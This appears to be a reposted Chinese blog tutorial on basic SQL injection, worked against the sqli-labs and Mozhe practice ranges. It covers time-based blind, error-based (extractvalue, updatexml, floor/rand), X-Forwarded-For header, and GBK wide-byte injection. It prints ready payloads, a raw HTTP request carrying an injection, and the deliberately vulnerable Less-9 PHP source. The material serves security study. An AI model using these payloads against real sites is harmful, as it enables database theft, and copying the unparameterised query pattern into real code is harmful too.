常见基础注入类型-SQL注入-web安全

Posted gaog2zh

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了常见基础注入类型-SQL注入-web安全相关的知识,希望对你有一定的参考价值。

下面还是以sql-labs漏洞测试平台来介绍下其他的常见注入,在之后我们会找一些在线靶场来检验下效果如何。

1、时间盲注

mysql基于时间盲注的原理分析,注入SQL语句执行后不提示真假,也不能通过页面内容来进行判断,通过构造SQL语句注入,查看页面响应的时间来判断信息为时间盲注。

1.1、常用mysql函数

  • if(exp1,exp2,exp3)
    • exp1为条件,结果为布尔值
    • 当exp1结果布尔值为true的时候,执行exp2
    • 当exp1结果布尔值为false的时候,执行exp3
  • length(str):获取字符串长度
  • sleep(seconds):单位秒,休眠函数,会在设置的时间后,继续执行。
  • substr(str,start,length):截图字符串

1.2、注入步骤

  1. 判断是否存在注入并构造注入语句
  2. 寻找注入点
  3. 通过if(length(database(),1,1)=数字,sleep(5),1)改变数字,获取数据库名长度
  4. 通过if(substr(database(),0,1)=‘字符’,sleep(5),1)获取数据库名
  5. 重复步骤3,4后去表名、字段名、字段值
  6. 如果字段值经过加密,通过响应的解密方式解密。

1.3、 示例

以less-9为例,不管是正常是参数1还是有问题的参数1’,页面回显都是一样的图示:

此时,我们可以使用时间盲注进行测试。通过BurpSuite Repeater模块执行一下,查看右下角用时大概1s多,图示:

  • 注入步骤:

    • 获取数据库长度:id=1’+and+if(length(database())>5,sleep(5),1)–+ ,此时执行再次查看右下角发现用时6s多,说明数据库名长度大于5;通过改变数字最终确认书库名长度:8,耗时图示:

    • 获取数据库名:id=1’+and+if(substr(database(),1,1)=‘s’,sleep(5),1)–+,通过改变substr参数及=后面的字符,获取完整数据库名

    • 以步骤2同样的方式后去表名、字段名、字段值等等

  • 查看php源码:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Less-9 Blind- Time based- Single Quotes- String</title>
    </head>
    
    <body bgcolor="#000000">
    <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
    <font size="3" color="#FFFF00">
    
    
    <?php
    //including the Mysql connect parameters.
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    
    // take the variables
    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\\n");
    fclose($fp);
    
    // connectivity 
    
    
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    
    	if($row)
    	{
      	echo '<font size="5" color="#FFFF00">';	
      	echo 'You are in...........';
      	echo "<br>";
        	echo "</font>";
      	}
    	else 
    	{
    	
    	echo '<font size="5" color="#FFFF00">';
    	echo 'You are in...........';
    	//print_r(mysql_error());
    	//echo "You have an error in your SQL syntax";
    	echo "</br></font>";	
    	echo '<font color= "#0000ff" font size= 3>';	
    	
    	}
    }
    	else { echo "Please input the ID as parameter with numeric value";}
    
    ?>
    </font> </div></br></br></br><center>
    <img src="../images/Less-9.jpg" /></center>
    </body>
    </html>
    

    页面会返回同样的结果原因是源码在查询数据库后,不管正确与否,都显示同样的可见内容。但是有没有发现有啥不一样的呢? 对的,虽然显示内容一样,但是返回内容不一样,既长度也不一样。此时我们也可以使用布尔盲注的方式注入,具体步骤不在分析,可参考之前的文章,自己尝试。

2、报错注入

报错注入:注入语句执行后,页面会显示SQL错误语句,既页面会回显与数据库相关的信息。

  • 常用函数

    • concat(str1, str2,str3,…):参数拼接
    • count(*):统计结果数量
    • floor():向下取整
    • rand():随机数,带参数为伪随机,既不管运行多少次,结果都是一样的。
    • exp():以e为底的指数函数值
    • updatexml(目标xml文档,xml路径,更新的内容):更新xml文档的函数
    • extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数
  • 注入步骤:

    1. 判断是否有注入
    2. 构建注入语句,典型常用的报错注入语句:
      1. and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
      2. and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
      3. and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
      4. and exp(~(select * from (select user() ) a) )
    3. 通过更换user()函数查询数据库信息
  • 示例,以墨者学院SQL注入->报错盲注为例

    1. 正常页面,图示:

    2. 加‘测试,页面回显错误信息,可以利用报错注入,构建报错注入语句:id=1’and (extractvalue(1,concat(0x7e,(select database()),0x7e)))–+

      1. 页面显示,图示:
    3. 通过更改datase(),进而查出表名、字段名、字段值

    4. 最后MD5破解密码

  • 关于报错语句及原理分析,有兴趣的可以自己搜索或者参考下面的文章

3、Header注入

http header信息头是HTTP协议的重要组成部分,包含了一数据段来于服务器进行通信。实验中主要介绍了http的信息头。通过本实验的学习,学会修改信息头来实现注入。

浏览器要查看网页内容,后台程序要展示网页内容,需要共同遵循http协议,现在我们暂时不需要具体知道啥是http协议,当然有兴趣的可以自己查阅想文档;但是我们天天用浏览器,应该知道啥样的是符合http协议。浏览器f12(我用的chrome浏览器,其他自己查询)或者用抓包工具,这里我用的BurpSuit,随便点击访问一个网页,查看下请求头信息。

  • 请求头:
POST /index.php HTTP/1.1
Host: 219.153.49.228:42681
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://219.153.49.228:42681/
X-Forwarded-For: 8.8.8.8' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and '1'='1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

username=aa&password=bb
  • 格式:
请求方式 /路径 协议/版本
请求头:值
...
(空行)
请求体

之前我们我们的注入,一般在路径?后跟的参数位置,因为动态网页一般会把参数带入数据库执行相应的操作,如果没有做好防御策略,很容易有漏洞;有时候,请求头的内容也会代码数据库查询,这时候可能会产生请求头的注入,比如:Host(主机IP),User-Agent(客户端代理),Referer(链接地址),X-Forwarded-For(简称XFF,客户端最原始的IP地址)等等。

  • 实例,如图

  • 查询注入点,提示注入位置为X-Forwarded-For,那我们在改请求头最后加’测试,响应体:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘failed’)’ at line 1

    • 这里吧sql报错直接显示在页面上,那么我们可以借助报错注入来实现,那么我们怎么闭合这个sql呢?
    • 多次测试发现需要闭合’
  • 构建注入语句:

    X-Forwarded-For: 8.8.8.8' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and '1'='1
    
    • 结果:XPATH syntax error: ‘webcalendar
  • 后续步骤就是找出表名、列名、字段内容,这里不再详述,有问题可以查看之前的内容

5、宽字节注入

  • 前提:数据库的编码为GBK,切’被转义。

  • 原理:开启转义之后,测试加入’被转义为’,导致无法逃逸单引号。此时,在’后加上%df,因为反斜杠的编码%5c,%df%5c在GBK编码中是繁体字連,所以这时,单引号成功逃逸。

  • 实例:以sqli-labs第33题为例,加入单引号测试发现被转义了,加入%df%27,页面报错,单引号成功逃逸,图示:

  • 下面就是order by 查字段数,union select 1,2,… ,测试注入点,查数据库名、表名、列名、字段值,这里不再详述,可以参考之前的内容。

上面的一些SQL注入都是基础类型,之后我们会讲解一些复杂一些的SQL注入,同时分享一些常用的防御策略。

以上是关于常见基础注入类型-SQL注入-web安全的主要内容,如果未能解决你的问题,请参考以下文章

Web安全工程师(进阶)课程表

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

小白科普Web安全基础之SQL注入XSS文件上传漏洞详解

Web系统常见安全漏洞介绍及解决方案-sql注入

Web安全基础之SQL注入式攻击

Web常见安全漏洞-SQL注入